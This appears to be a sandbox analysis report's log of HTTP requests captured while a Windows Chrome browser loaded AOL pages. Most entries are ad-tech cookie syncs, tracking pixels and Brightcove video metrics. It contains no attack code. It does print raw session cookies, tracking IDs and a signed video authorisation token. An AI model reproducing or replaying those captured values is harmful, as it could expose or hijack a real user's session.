Source: global traffic	HTTP traffic detected: GET /pub/sync?pubid=pub8730968190912 HTTP/1.1Host: t.adx.opera.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cookie/?ssp=9&gdpr=0&gdpr_consent= HTTP/1.1Host: dsp.adfarm1.adition.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dappnexus%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; receive-cookie-deprecation=1; uuid2=9165965397510453586
Source: global traffic	HTTP traffic detected: GET /psstatic/aolhelp-prod/18.5.53/assets/js/vendor/jquery-2.0.1.min.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://help.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/2663edf9-fafe-4360-9b8b-708d3dc180a0/6s/rendition.m3u8?fastly_token=NjY1MDFjYzRfNjIwZjA0NmJlMDJjYWFkNThmZDFjN2YyZmMzNDE5MzZlNjQzM2EwZDM2M2U0NjI5OTg5Y2E2MDNlYmFkNDk5ZQ%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w HTTP/1.1Host: manifest.prod.boltdns.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://s.yimg.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dis/usersync.aspx?r=115&p=226&cp=medianet&cu=1&gdpr=0&gdpr_consent=&us_privacy=&gpp=DBAA&gpp_sid=-1&url=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dcrt%26ovsid%3D%40%40CRITEO_USERID%40%40 HTTP/1.1Host: dis.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537148856&val=Zk-ElAAAAUphKgAT&_test=Zk-ElAAAAUphKgAT HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yahoo-bidout-d.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696; pd=v2\|1716503697\|vMgavPkWgyiK
Source: global traffic	HTTP traffic detected: GET /sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1 HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=ad3998d2-fd62-4225-919d-66f459efadb2; c=1716503696; tuuid_lu=1716503699
Source: global traffic	HTTP traffic detected: GET /xuid?mid=3658&xuid=8369ae03-bf51-422b-a15c-33306b0e1dfe&dongle=0cfd&gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=3476490108663385185440; tluid=3476490108663385185440
Source: global traffic	HTTP traffic detected: GET /usersync2/rmp1r1?sub=medianet&zcc=1&redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3595052986404735000V10%26type%3Dr1%26refUrl%3D%26vid%3D65037015853595052986404735000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D&cb=1716503705673 HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-fe1304b9-a817-48cf-90fb-9f7a0066a0de-003%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3595052986404735000V10%26type%3Dr1%26refUrl%3D%26vid%3D65037015853595052986404735000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D
Source: global traffic	HTTP traffic detected: GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&event=catalog_response&url=https%3A%2F%2Fedge-auth.api.brightcove.com%2Fplayback%2Fv1%2Faccounts%2F6415665815001%2Fvideos%2F6353510307112&time=1716503699153&seq=3&response_time_ms=1457 HTTP/1.1Host: metrics.brightcove.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&delivery_type=ondemand&time=1716503699269&event=play_request&video_data=&video_ads_supported=false&media_url=https%3A%2F%2Fmanifest.prod.boltdns.net%2Fmanifest%2Fv1%2Fhls%2Fv4%2Faes128%2F6415665815001%2F6b9daf23-4bde-40fd-8649-5be6dcb9691e%2F6s%2Fmaster.m3u8%3Ffastly_token%3DNjY0ZmQyYTRfNWNiMTk1ODk1ZjEzZTI4MWM2NzRhYTliNGI1ZTZiZWJiYmI1MjIzNThkNmVlY2FiNDI5ZWZjYjE3ZWFjYTJlZg%253D%253D%26bcov_auth%3DeyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w&seq=4_-1 HTTP/1.1Host: metrics.brightcove.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: help.aol.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://help.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A
Source: global traffic	HTTP traffic detected: GET /sg/prebidJS/1/cm?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA HTTP/1.1Host: trc.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14
Source: global traffic	HTTP traffic detected: GET /qmap?c=240&tp=PUBM&tpid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&gdpr=0&gdpr_consent=&ct=y HTTP/1.1Host: sync.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _cc_cc=ctst
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=wDRi3Y1XWudtyec5KKvj7ggue68&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; chkChromeAb67Sec=2; DPSync3=1717632000%3A219_197_201_245_241_227_226; SyncRTB3=1717632000%3A56_21_71_220_13_233_22_264_251_54_266_55_3_8_46%7C1717718400%3A35%7C1717027200%3A15_223%7C1717286400%3A63%7C1719014400%3A203; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; PugT=1716503704
Source: global traffic	HTTP traffic detected: GET /usersync?b=oth&i=y-BSMCIFhE2pcm2NCXOZVvX6OjZ.YQy641a2GU~A HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /ups/58824/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; IDSYNC="19cw~2ila:19e0~2ila:18z8~2ila"
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=gumgum&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=b&uid=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac HTTP/1.1Host: pbs.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifX19
Source: global traffic	HTTP traffic detected: GET /ups/58834/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.aol.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; IDSYNC="19cw~2ila:19e0~2ila:18z8~2ila"
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=yieldmo_dbm&google_hm=VkkzTTNZWUtLb1lTaEZqaThQOEM= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
Source: global traffic	HTTP traffic detected: GET /usersync?b=pln&i=7WXU1ZUhF2Kx&ev=1&gpp_sid=$&gpp=$&us_privacy=${us_privacy}&pid=558355 HTTP/1.1Host: rtb.gumgum.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /pixel?cs=8&google_nid=media&google_cm=1&google_hm=MzU5NTA1Mjk4NjQwNDczNTAwMFYxMA%3D%3D&google_sc=1&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=openx&google_cm&google_sc HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yahoo-bidout-d.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=rubicon&google_hm=NzU4NGI0YmE5YTNjNGFhYzFlMjcwYjRlZGRkYWQ3MjUxYTM5ZDQ1Mg&gdpr=0&us_privacy=1YNN HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUly4VaqSUudDbFxZ6i8f3wSstck2G-xsKi1H5Ki1wSrQCD5aU-nM8msFXEJKzk
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMzOTkmdGw9NDMyMDA%3D&piggybackCookie=7372327276449101969&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; 